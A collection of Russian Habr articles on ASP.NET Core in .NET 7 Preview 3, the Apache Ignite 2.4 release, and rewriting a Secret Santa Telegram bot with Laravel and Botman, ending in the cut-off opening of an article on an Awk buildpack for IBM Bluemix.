# В .NET 7 Preview 3 доступны обновления ASP.NET Core
Среди улучшений ASP.NET Core поддержка фильтров обработчиков маршрутов Minimal API, повышение тестируемости обработчиков маршрутов Minimal API, биндинг в контроллерах MVC и контроллерах API с помощью TryParse и не только. Материалом из блога разработчиков делимся к старту [курса по разработке на C#](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_140422&utm_term=lead).
---
Чтобы больше узнать о работе над ASP.NET Core для .NET 7, смотрите [план](https://aka.ms/aspnet/roadmap) развития ASP.NET Core для .NET 7 на GitHub.
### Начнём
Загрузить SDK .NET 7 можно [здесь](https://dotnet.microsoft.com/download/dotnet/7.0).
Если вы на Windows и работаете с Visual Studio, мы рекомендуем установить последнюю предварительную версию [Visual Studio 2022](https://visualstudio.com/preview). На Visual Studio версии для Mac поддержки .NET 7 Preview 3 пока нет, но скоро она появится.
Чтобы установить последние инструменты сборки .NET WebAssembly, выполните эту команду с повышенными привилегиями:
```
dotnet workload install wasm-tools
```
> Cоздание проектов .NET 6 Blazor с помощью SDK .NET 7 и инструментов сборки .NET 7 WebAssembly пока не поддерживается. Мы исправим это в [обновлении](https://github.com/dotnet/runtime/issues/65211) .NET 7.
>
>
### Обновление существующего проекта
Чтобы обновить существующее приложение ASP.NET Core с .NET 7 Preview 2 до .NET 7 Preview 3, измените:
* все ссылки на пакеты Microsoft.AspNetCore.\* — до версии 7.0.0-preview.3.\*;
* все ссылки на пакеты Microsoft.Extensions.\* — до версии 7.0.0-preview.3.\*;
Список изменений, ломающих обратную совместимость, [смотрите](https://docs.microsoft.com/dotnet/core/compatibility/7.0#aspnet-core) по ссылке.
### Поддержка фильтров обработчиков маршрутов в Minimal API
Теперь в обработчиках маршрутов приложений Minimal поддерживаются фильтры, выполняются они перед выполнением основной логики обработчика маршрута. Эти фильтры можно использовать, чтобы проверить и изменить обработчик, а также перехватить его выполнение. Регистрируются эти фильтры по-разному. К примеру, через RouteHandlerFilterDelegate и метод расширения AddFilter:
```
app.MapGet("/hello/{name}", (string name) => $"Hello, {name}!")
.AddFilter((context, next) =>
{
var name = (string) context.Parameters[0];
if (name == "Bob")
{
return Result.Problem("No Bob's allowed");
}
return next(context);
});
```
Или с помощью стратегии фабрики фильтров, которая открывает доступ к RouteHandlerContext. Последний, в свою очередь, предоставляет доступ к связанному с обработчиком MethodInfo, а также к метаданным, зарегистрированным в конечной точке:
```
app.MapGet("/hello/{name}", (string name) => $"Hello, {name}!")
.AddFilter((routeHandlerContext, next) =>
{
var parameters = routeHandlerContext.GetParameters();
var hasCorrectSignature = parameters.Length == 1 && parameters[0].GetType() == typeof(string);
return (context) =>
{
if (hasCorrectSignature)
{
var name = (string) context.Parameters[0];
if (name == "Bob")
{
return Result.Problem("No Bob's allowed");
}
}
return next(context);
}
});
```
Фильтры могут реализовывать интерфейс IRouteHandlerFilter, разрешаться из инъекции зависимостей или передаваться в качестве экземпляра:
```
app.MapGet("/hello/{name}", (string name) => $"Hello, {name}!")
.AddFilter();
```
### Повышена тестируемость обработчиков маршрутов Minimal API
Типы реализации IResult с суффиксом `HttpResult` (`OkObjectHttpResult`, `ProblemHttpResult` и так далее) теперь открыты в пространстве имён `Microsoft.AspNetCore.Http`. Благодаря этим типам проще тестировать обработчики маршрутов Minimal API, вместо лямбда-выражений используя именованные методы:
```
[Fact]
public async Task GetTodoReturnsTodoFromDatabase()
{
var todo = new Todo { Id = 42, Name = "Improve Results testability!" };
var mockDb = new MockTodoDb(new[] { todo });
var result = (OkObjectHttpResult)await TodoEndpoints.GetTodo(mockDb, todo.Id);
//Assert
Assert.Equal(200, result.StatusCode);
var foundTodo = Assert.IsAssignableFrom(result.Value);
Assert.Equal(id, foundTodo.Id);
}
[Fact]
public void CreateTodoWithValidationProblems()
{
//Arrange
var newTodo = default(Todo);
var mockDb = new MockTodoDb();
//Act
var result = TodoEndpoints.CreateTodo(mockDb, newTodo);
//Assert
var problemResult = Assert.IsAssignableFrom(result);
Assert.NotNull(problemResult.ProblemDetails);
Assert.Equal(400, problemResult.StatusCode);
}
```
### Биндинг с помощью TryParse в контроллерах MVC и контроллерах API
Значения параметров действия контроллера теперь можно привязывать с помощью метода TryParse с одной из этих сигнатур:
```
public static bool TryParse(string value, T out result);
public static bool TryParse(string value, IFormatProvider provider, T out result);
```
Ниже действие Get привязывает данные из строки запроса через метод типа-параметра TryParse:
```
public class TryParseController : ControllerBase
{
// GET /tryparse?data=MyName
[HttpGet]
public ActionResult Get([FromQuery]CustomTryParseObject data) => Ok();
public class CustomTryParseObject
{
public string? Name { get; set; }
public static bool TryParse(string s, out CustomTryParseObject result)
{
if (s is null)
{
result = default;
return false;
}
result = new CustomTryParseObject { Name = s };
return true;
}
}
}
```
### Новые перегрузки Results.Stream()
Для ситуаций, когда к базовому потоку ответов HTTP нужен доступ без буферизации, написаны новые перегрузки Results.Stream(...). Эти перегрузки упрощают передачу данных в поток ответов HTTP через API, например из хранилища BLOB-объектов Azure. Ниже Results.Stream() используется в обработке изображений через сервис [ImageSharp](https://sixlabors.com/products/imagesharp):
```
app.MapGet("/process-image", async (HttpContext http) =>
{
using var image = await Image.LoadAsync("puppy.jpeg");
int width = image.Width / 2;
int height = image.Height / 2;
image.Mutate(x => x.Resize(width, height));
http.Response.Headers.CacheControl = $"public,max-age={FromHours(24).TotalSeconds}";
return Results.Stream(stream => image.SaveAsync(stream, PngFormat.Instance), "image/png");
});
```
### Повышена производительность соединения HTTP/2 с несколькими стримами
Мы изменили код записи фреймов HTTP/2. Этот код повышает производительность при наличии нескольких стримов, пытающихся записать данные в одном соединении HTTP/2. Теперь работа TLS отправляется в пул потоков.
Блокировка записи, которую другие стримы могут получить для записи своих данных, освобождается быстрее. Когда за эту блокировку есть конкуренция, сокращение времени ожидания может значительно повысить производительность.
Тест gRPC с 70 потоками в одном соединении с TLS показал увеличение количества запросов в секунду примерно на 15%.
### Новое событие измерения времени запуска приложения — ServerReady
Если для измерений или диагностики вы используете EventSource и хотите измерить время запуска своего приложения, можно использовать новое событие ServerReady в источнике `Microsoft.AspNetCore.Hosting`. Это событие представляет момент, когда сервер запущен и работает.
### Тёмная тема страницы исключений для разработчиков
Страница исключений для разработчиков ASP.NET Core теперь поддерживает тёмную тему:
За это улучшение благодарим [@poke](https://github.com/poke)!
### Обратная связь
Надеемся, что вам понравится этот предварительный релиз ASP.NET Core в .NET 7. Сообщите нам, что вы думаете об этих улучшениях, отправив Issues на [GitHub](https://github.com/dotnet/aspnetcore/issues/new). Спасибо, что попробовали ASP.NET Core!
А мы поможем прокачать скиллы или с самого начала освоить IT-профессию, актуальную в любое время:
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_140422&utm_term=conc)
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_140422&utm_term=conc)
Выбрать другую [востребованную профессию](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_140422&utm_term=conc).
Краткий каталог курсов и профессий **Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_140422&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_140422&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_140422&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_140422&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_140422&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_140422&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_140422&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_140422&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_140422&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_140422&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_140422&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_140422&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_140422&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_140422&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_140422&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_140422&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_140422&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_140422&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_140422&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_140422&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_140422&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_140422&utm_term=cat) | https://habr.com/ru/post/661081/ | null | ru | null |
# Релиз Apache Ignite 2.4 — Distributed Database and Caching Platform
12 марта 2018 г., спустя 4 месяца после прошлой версии, вышел Apache Ignite 2.4. Этот релиз примечателен целым рядом нововведений: поддержка Java 9, множественные оптимизации и улучшения SQL, поддержка платформой нейронных сетей, новый подход к построению топологии при работе с диском и многое другое.
[Apache Ignite Database and Caching Platform](https://ignite.apache.org) — это платформа для распределенного хранения данных (оптимизированная под активное использование RAM), а также для распределенных вычислений в близком к реальному времени.
Ignite применяется там, где нужно очень быстро обрабатывать большие потоки данных, которые не по зубам централизованным системам.
Примеры использования: быстрый распределенный кеш; слой, агрегирующий данные из разрозненных сервисов (например, для Customer 360 View); основное горизонтально масштабируемое хранилище (NoSQL или SQL) оперативных данных; платформа для вычислений и т.д.
Далее рассмотрим основные новшества Ignite 2.4.
Baseline Topology
-----------------
Если вы использовали Apache Ignite вместе с его собственным дисковым хранилищем, вам, вероятно, приходилось сталкиваться:
* с необходимостью явно активировать кластер после старта минимального требуемого количества узлов;
* с агрессивной ребалансировкой при смене топологии, которая может быть очень болезненной из-за активного дискового ввода-вывода.
[Baseline Topology](https://issues.apache.org/jira/browse/IGNITE-5850) решает эти проблемы, фиксируя набор узлов, которые содержат дисковые данные, и оказывают влияние на активацию кластера, поведение при изменении топологии и ребалансировку.
Baseline Topology — это настолько важное изменение в Ignite, что в ближайшее время мы опубликуем отдельную статью, посвященную этой функции.
Тонкие клиенты
--------------
Теперь можно создавать [тонкие клиенты](https://issues.apache.org/jira/browse/IGNITE-5896) на базе собственного [бинарного протокола](https://apacheignite.readme.io/docs/binary-client-protocol).
Ранее клиенты для .NET и C++ поднимали внутри себя полноценную JVM с Ignite для коммуникации с кластером. Это обеспечивало легкий и дешевый доступ к обширной функциональности платформы, но клиенты получались тяжеловесными.
Новые тонкие клиенты самостоятельны и не нуждаются в использовании JVM. Это значительно уменьшает потребление ресурсов и повышает производительность, а сообществу теперь намного легче и дешевле строить новые клиенты для самых разных языков, например, Python.
В версии 2.4 появился тонкий клиент для .NET.
```
var cfg = new IgniteClientConfiguration
{
Host = "127.0.0.1"
};
using (IIgniteClient igniteClient = Ignition.StartClient(cfg))
{
ICacheClient cache = igniteClient.GetCache(CacheName);
Organization org = new Organization(
"GridGain",
new Address("г. Санкт-Петербург, ул. Марата, д. 69–71, корпус В", 191119),
new Email("rusales@gridgain.com"),
OrganizationType.Private,
DateTime.Now
);
// Положить запись в кеш.
cache.Put(1, org);
// Получить запись в десериализованном приведенном к нужному типу формате.
Organization orgFromCache = cache.Get(1);
}
```
Оптимизация загрузки данных
---------------------------
В Apache Ignite 2.4 добавлены инструменты для оптимизации начальной загрузки и загрузки больших объемов данных.
Теперь можно [временно выключать WAL](https://apacheignite.readme.io/docs/write-ahead-log#section-wal-activation-and-deactivation) (Write Ahead Log) для отдельных таблиц в Runtime. Это позволит загружать данные с минимальным влиянием дискового ввода-вывода, что положительно скажется на пропускной способности.
После включения WAL будет немедленно сделан checkpoint на диск по текущим данным из RAM, чтобы обеспечить сохранность данных.
Отключить WAL можно посредством SQL:
```
-- Выключение WAL для таблицы (и нижележащего кеша).
ALTER TABLE my_table NOLOGGING;
-- Включение, аналогично, для отдельных таблицы и кеша.
ALTER TABLE my_table LOGGING;
```
или посредством API:
```
ignite.cluster().isWalEnabled(cacheName); // Проверка, включен ли WAL.
ignite.cluster().enableWal(cacheName); // Включение WAL.
ignite.cluster().disableWal(cacheName); // Выключение WAL.
```
Java 9
------
В Ignite 2.4 к уже имеющейся поддержке Java 8 добавляется [Java 9](https://issues.apache.org/jira/browse/IGNITE-6728).
Расширение поддержки .NET
-------------------------
Часто приходилось слышать вопрос: «когда Ignite для .NET начнет поддерживать .NET Core?». Рад сообщить, что, начиная с версии 2.4, Ignite.NET получает поддержку [.NET Core](https://issues.apache.org/jira/browse/IGNITE-2662). Более того, появляется и поддержка [Mono](https://issues.apache.org/jira/browse/IGNITE-1628).
Благодаря этому можно строить кросс-платформенные приложения на .NET, расширяя сферу применения Ignite мирами Linux и Mac.
В отдельной статье мы подробнее расскажем о нововведениях, касающихся .NET — тонком клиенте и поддержке .NET Core и Mono.
Многочисленные оптимизации и улучшения SQL
------------------------------------------
В Ignite 2.4 было сделано множество изменений для ускорения работы SQL. Сюда входят: [многопоточное создание индексов](https://issues.apache.org/jira/browse/IGNITE-6406), [оптимизации десериализации объектов](https://issues.apache.org/jira/browse/IGNITE-6626) и [поиска по первичному ключу](https://issues.apache.org/jira/browse/IGNITE-6663), [поддержка SQL batching на стороне кластера](https://issues.apache.org/jira/browse/IGNITE-6022) и многое другое.
На поприще DDL можно задавать [DEFAULT-значения для колонок](https://issues.apache.org/jira/browse/IGNITE-5623) в создаваемых через CREATE TABLE таблицах, указывать [настройки встраивания значений в деревья индексов](https://issues.apache.org/jira/browse/IGNITE-6850) и выполнять [DROP COLUMN](https://issues.apache.org/jira/browse/IGNITE-5949).
Пример создания индекса с новыми атрибутами:
```
// INLINE_SIZE — максимальный размер в байтах для встраивания в деревья индекса;
// PARALLEL — количество потоков индексации.
CREATE INDEX fast_city_idx ON sales (country, city) INLINE_SIZE 60 PARALLEL 8;
```
Нейронные сети и другие улучшения Machine Learning
--------------------------------------------------
В версии 2.4 появились [нейронные сети на Apache Ignite](https://apacheignite.readme.io/docs/multilayer-perceptron).
Их ключевое преимущество — высокая производительность обучения и исполнения моделей. За счет распределенного обучения нейронных сетей и колокации вычислительных компонентов с данными на узлах кластера отпадает необходимость в ETL и долгой передаче данных во внешние системы, забивающей сеть.
```
// Подготовка тестовых данных.
int samplesCnt = 100000;
// Тестовые данные будут функцией sin^2 на промежутке [0; pi/2].
IgniteSupplier pointsGen = () -> (Math.random() + 1) / 2 \* (Math.PI / 2);
IgniteDoubleFunction f = x -> Math.sin(x) \* Math.sin(x);
IgniteCache> cache = LabeledVectorsCache.createNew(ignite);
String cacheName = cache.getName();
// Загрузка данных посредством IgniteDataStreamer.
try (IgniteDataStreamer> streamer =
ignite.dataStreamer(cacheName)) {
streamer.perNodeBufferSize(10000);
for (int i = 0; i < samplesCnt; i++) {
double x = pointsGen.get();
double y = f.apply(x);
streamer.addData(i, new LabeledVector<>(new DenseLocalOnHeapVector(new double[] {x}), new DenseLocalOnHeapVector(new double[] {y})));
}
}
// Инициализация тренера.
MLPGroupUpdateTrainer trainer = MLPGroupUpdateTrainer.getDefault(ignite).
withSyncPeriod(3).
withTolerance(0.0001).
withMaxGlobalSteps(100).
withUpdateStrategy(UpdateStrategies.RProp());
// Создание ввода для тренера.
MLPArchitecture conf = new MLPArchitecture(1).
withAddedLayer(10, true, Activators.SIGMOID).
withAddedLayer(1, true, Activators.SIGMOID);
MLPGroupUpdateTrainerCacheInput trainerInput = new MLPGroupUpdateTrainerCacheInput(conf,
new RandomInitializer(new Random()), 6, cache, 1000);
// Тренировка и сверка результатов.
MultilayerPerceptron mlp = trainer.train(trainerInput);
int testCnt = 1000;
Matrix test = new DenseLocalOnHeapMatrix(1, testCnt);
for (int i = 0; i < testCnt; i++)
test.setColumn(i, new double[] {pointsGen.get()});
Matrix predicted = mlp.apply(test);
Matrix actual = test.copy().map(f);
Vector predicted = mlp.apply(test).getRow(0);
Vector actual = test.copy().map(f).getRow(0);
// Показать предсказанные и фактические значения.
Tracer.showAscii(predicted);
Tracer.showAscii(actual);
System.out.println("MSE: " + (predicted.minus(actual).kNorm(2) / predicted.size()));
```
Прочее
------
Помимо перечисленных изменений в релиз также вошли:
* [начальная поддержка Spark DataFrames](https://issues.apache.org/jira/browse/IGNITE-3084);
* [оптимизация потребления памяти при работе с диском;](https://issues.apache.org/jira/browse/IGNITE-6341)
* множественные оптимизации дискового хранилища (например, при работе с WAL);
* проброска новых значение мониторинга в JMX (например, для мониторинга будет доступна долгожданная [занятая кешами память](https://issues.apache.org/jira/browse/IGNITE-6902), [расширенная информация по топологии](https://issues.apache.org/jira/browse/IGNITE-6867));
* [RPM-пакеты с Ignite](https://issues.apache.org/jira/browse/IGNITE-7107) ([репозиторий](https://www.apache.org/dist/ignite/rpm)). | https://habr.com/ru/post/351098/ | null | ru | null |
# Как нужно и не нужно писать чат ботов на примере моего бота для игры в «Тайный Санта»
Предыстория
-----------
Год назад решил я создать телеграм бот для того, чтобы поиграть в достаточно популярную новогоднюю игру «Тайный Санта». Вдохновился я тем, что пару лет назад мы на работе компанией решили сыграть в эту игру (это показалось очень круто), и плюс я давно следил за [клубом АДМ](https://habr.com/ru/post/475290/) на Хабре. В октябре-ноябре прошлого года, я понял, что нужно сыграть между своей же компанией в этом году снова, но в этот раз не вытягивая имена написанные на листочке с шапки Деда Мороза, а более технологично, что ли. Поскольку все сидели в телеграме и мне было очень интересно написать туда бота, я решил это сделать именно на этой платформе
Кстати, год назад я уже [писал](https://habr.com/ru/post/432270/) об этом проекте статью на Хабре, но я ничего не говорил о реализации. Не говорил не зря, потому что было стыдно, что ли :) Проект готовился только для компании на работе (человек 15-20 на максималках) а вышло так, что проект «стрельнул» в других кругах после пары статей на ресурсах. Далее, более популярные ресурсы сами начали меня рекламировать (я об этом даже не знал, до того как пошел из ниоткуда большой приток людей).
За месяц без единого вложения в рекламу я собрал 5000+ довольных игроков и очень сильно полюбил этот проект. Но помимо всех его бенефитов, в нем был один огромнейший минус, и это реализация.
### Как это было год назад
Было забавно, что у меня была кнопка в боте «присоедениться к комнате». Да, именно присоед**Е**ниться. Мне писали пофиксить этот грамматический баг, но я не рисковал, и вот почему :) Далее, прикладываю кусок кода из прошлогодней версии бота.
```
elseif ($user['state'] == 7) {
if (mb_stripos($textMessage, 'присоедениться') !== false) {
if (!empty($user['santa_for_user_id'])) {
$text = 'Нельзя присоедениться к комнате, если у тебя уже есть Санта';
} else {
$text = "Отлично! Если у Вас уже есть комната - напиши мне ее номер сюда, и ты присоеденишься к этой комнате";
$db->updateState($userId, 8);
}
}
```
Весь бот — это был один огромнейший index.php файлик, который жил за счет функции mb\_stripos, по сути. При чем было очень много одинаковых «ифчиков». Т.е. mb\_stripos($textMessage, 'присоедениться') !== false мог встретиться не единажды. Если ты поменяешь в кнопке слово «присоедениться» на «присоединиться», и забудешь поменять какой то ифчик (которых, опять же, много) всё может посыпаться. При чем это может быть не сразу заметно (просто бот на определенных сценариях будет не отвечать как надо). Разок я поменял текст, начали писать юзеры, что на определенном сценарии бот отвечает не как надо. Дальше я рисковать не хотел, и подумал, что ошибка не такая уж и критичная :) В принципе, вы поняли. Если была кнопка, например «Найти случайного Санту», я зацеплялся на слово «случайного» через mb\_stripos. Весело было, когда появлялась подобная кнопка, с подобным текстом, и когда не надо оно все попадало в не нужный if (если например и там и там есть слово «случайного») :)
Кстати, заметили $user['state']? На то время я ввёл «состояния», чтобы понимать, на каком состоянии сейчас находится пользователь. Захотел ли он присоединиться к комнате, например, или создать, или может он захотел в одиночную игру поиграть? И для каждого стейта свой набор ифчиков шел, который важно было также не сломать.
Крон файлик, кстати, лежал рядом с index.php, его можно было запустить на прямую из под браузера (видимо тогда меня это не особо волновало). Далее, когда вдруг хотелось добавить какой-то «стейт» (лучше бы я этого не хотел) мне приходилось окунаться в это г.., и с первой же попытки ничего конечно же не получалось. Все это еще и лежало на самом дешевом хостинге за 1$ в месяц, который мог меня послать куда подальше, когда начало писать в «час пик» достаточно большое количество человек.
Это был конечно сущий ад для программиста :)
#### Что я решил делать в этом году
В этом году я понятное дело решил переписать бота (раз был немалый спрос в прошлом году), захотел зайти в старый код и разобраться, как это было в том году, чтобы перенести бизнес-логику. К сожалению у меня не получилось на 70% даже разобраться в старом коде, даже при том, что тогда я пытался оставлять себе комментарии в коде, чтобы помочь себе через год :)
Решил я просто вспоминать основные сценарии, а там и добавлять что-то новое по ходу дела. Начал с вопроса: «а что же использовать для написания архитектуры так, чтобы потом не плакать?». После долгих исследований — выбор пал на [Botman](https://botman.io/). У нас есть небольшие статьи на Хабре о нем. Если коротко, то Botman это очень классная вещь. Его можно поставить как на «чистую», так и сразу установить его сборку вместе с Laravel (да, есть сразу ботман установленный сверху Laravel). Я решил и остановиться на этой версии, поскольку Laravel это явно лучше, чем то, что было год назад :) У него есть возможность кэширования из «коробки», удобный роутинг, artisan, миддлвары, удобность возможность работать с БД и прочие бенефиты. *Если вдруг вам не нравится Laravel, Вы можете использовать любой другой фреймворк, и сверху него установить Botman, либо же не использовать фреймворк вовсе*. Кстати, Botman построен поверх ReactPHP, что как бы круто :)
Далее, я буду описывать бенефиты Botman:
Есть единый файлик botman.php, в котором Вы можете описать все команды. Пример:
```
$botman->hears('/start', function (BotMan $bot) {
$bot->startConversation(new StartConversation());
})->stopsConversation();
```
При написании команды /start, запустится StartConversation (который должен наследоваться от абстрактного класса Conversation) и реализовывать метод run().
Вопросы задаются достаточно удобно, пример:
```
$question = Question::create("Ты хочешь создать комнату, или присоединиться в существующую?")->addButtons([Button::create('Создать')->value('create'), Button::create('Присоединиться')->value('join')]);
$this->ask($question, function (Answer $answer) {
if ($answer->isInteractiveMessageReply()) {
if ($answer->getValue() == 'join') {
```
Заметили, что у Button мы можем задать value, и в последствии цепляться потом на него? То есть, на ваших глазах баг с «присоедЕниться» пофикшен, за счет того, что я цепляюсь на value() :)
Кстати, еще можно юзать isInteractiveMessageReply метод, который ответит на вопрос, написали ли вам текст, или нажали интерактивную кнопку, при ответе на вопрос заданный юзеру.
Ботман помог избавиться от стейтов, я могу в методе ask сделать еще один метод ask, например если человек нажал «присоединиться», я просто делаю еще один ask внутри этого if.
Вот еще несколько методов (из очень большого количества), которые предоставляет ботман, которые можно легко понять из названия:
> $this->repeat($question);
> $this->bot->typesAndWaits($secondsToWait);
> $this->bot->reply($reply);
Киллер же фичей ботмана является то, что один код может запускаться на многих платформах. То есть, Вы можете написать свой код, изначально запустить его только для Telegram. Потом, решить, что Вы хотите еще перейти в Facebook Manager, и вам совсем не надо начинать разбираться с SDK Facebook, разработчики Botman уже это сделали за вас. Просто нужно будет [установить драйвер](https://botman.io/2.0/drivers) и задать API Token вашего Facebook Messenger бота в .env. Весь функционал автоматически заработает в фейсбук мессенджере.
Botman поддерживает не только Facebook Messenger и Telegram, в этот список входят также Slack, Skype, WeChat (с полным списком можно ознакомиться у них на сайте).
Также «виновник торжества» славится тем, что с ним уже идет папочка tests/Botman (можете писать юнит тесты, ваш кэп), а также хорошей документацией. Все бенефиты тяжело назвать, поскольку я явно не со всеми поработал, не все помню, но думаю того, что я описал, должно уже хватить, чтобы им как минимум заинтересоваться :)
### Ну ок, а хостить опять на хостинге за $1 будем?
Не, в этом году всё серьезно. Хостинг за $10 в месяц и бесплатным доменом с ссл. Шучу :)
Решил подтянуть знания по докеру, купил VPS на DigitalOcean, и развернул проект в докере. Вышло достаточно неплохо, при том что я это всё делал чуть ли не в первый раз. ~~На удивление докер ни разу не падал~~.
С VPS конечно круче :)
При докере было сильно удобнее вести разработку (версионность на деве и на проде сохранилась).
Самое забавное, что когда я вводил платный функционал в бота, мне нужно было получить апрув от платежной системы. Платежная система постоянно возвращала мне мою заявку на апрув, и говорила «сайт не работает». У меня работал, у друзей работал (мы из Украины), а вот у ребят из РФ не работал. Не долго думая, я увидел, что Роскомнадзор еще год назад забанил айпишник моего дроплета (очень много серверов DigitalOcean пострадало на то время от руки РКН). С этим потом тоже порешали.
### На чем написан же все таки твой бот?
* PHP 7.3
* Laravel
* Botman
И всем советую использовать именно этот стэк при написании своих ботов на PHP (чтобы в последствии себе не стрелять в ногу, как это было у меня).
### Что хоть нового в боте появилось?
#### Санта научился звонить
У Санты можно заказать звонок! Он даже будет Вас понимать и слушать :)
Санта звонит на указанный номер (с номеров USA), задает вопросы, например «как ты себя вёл в году?», «что хочешь на Новый Год?», «Стишок знаешь?» и т.д. Если пользователь говорит, что стишок не знает, то Санта пойдет по другому сценарию вопросов, если скажет, что знает, то Санта любезно попросит рассказать стишок :) Еще: когда человек говорит свой список желаний на Новый Год Санте, Санта слушает, и присылает потом этот список желаний пользователю, который заказал звонок (вдруг, ребёнок закрылся от родителей в комнате, а им как-то надо узнать что же он попросил у Санты?). Также Санта присылает саму аудиозапись звонка с Сантой на память :)
#### Теперь можно узнать кто твой Санта
Зрада? Это же противоречит названию игры «Тайный Санта», разве нет? В принципе — да. НО в прошлом году от количества желающих узнать своего Санту мои ЛС разрывались. «Мне будет дарить подарок босс?», «Нам одной девочке не подарил подарок кто-то, можете сказать, кто ей должен был дарить?» ну и всё в таком роде. Сейчас есть такая возможность, но что бы было не повадно — такое удовольствие выйдет в $5.99 :)
### Выводы
Не стоит надеяться на то, что ваш проект всегда будет маленьким. Не нужно создавать один index.php с кучкой ифов, даже если проект начинается с всего лишь пары тройки ифов (я достаточно таких проектов знаю)). Лучше сделать сразу хорошо. Даже если вы потратите на это больше времени, это будет давать вам бенефиты в том, что когда в проект срочно нужно будет изменять/добавлять логику, не пришлось думать как менять ифы так чтобы бот не упал, как это вышло у меня :). Также этот подход (с ифами) учит вас делать все другие решения костыльно (не лучший навык, согласитесь). Ну и конечно подумайте о себе, вам же придется по позже зайти в этот код, и придется с ним разбираться, и тогда будет очень не сладко :(
Всем хорошего кода, написания своих чат-ботов, а также пишите свои проекты. Это кайфово!
В конце хочется вспомнить о том, что где-то читал, что:
Если бы вы знали, что ваши любимые проекты, которыми вы пользуетесь (фейсбуки, вк, и т.д) построены так, что на грани от того, чтобы упасть, вы бы были удивлены. Да, действительно, в том году все играли с удовольствием, не представляя даже, что происходит внутри этого бота (я сам в шоке, как он пережил тот декабрь :)).
Если захотелось поиграть — [велкам](https://t.me/HappySecretSantaBot) :) | https://habr.com/ru/post/476144/ | null | ru | null |
# Создание CloudFoundry/IBM Bluemix buildpack или веб сервис на Awk (gawk)
*gawk — глазеть разинув рот, таращить глаза*
[](http://habrahabr.ru/post/262701/)
Дальше никаких шуток, я действительно опишу как запустить Awk (Gawk) веб сервис на IBM Bluemix.
CloudFoundry и созданная на его основе платформа [IBM Bluemix](http://bluemix.net/) поддерживают [много разных](https://github.com/cloudfoundry-community/cf-docs-contrib/wiki/Buildpacks) языков программирования и веб фреймворков. Все это благодаря поддержке билдпаков (мой перевод слова buildpack). Билдпак можно рассматривать как плагин, который отвечает за установку и настройку среды выполнения приложения. Создают билдпак обычно в двух случаях.
### Зачем писать билдпак?
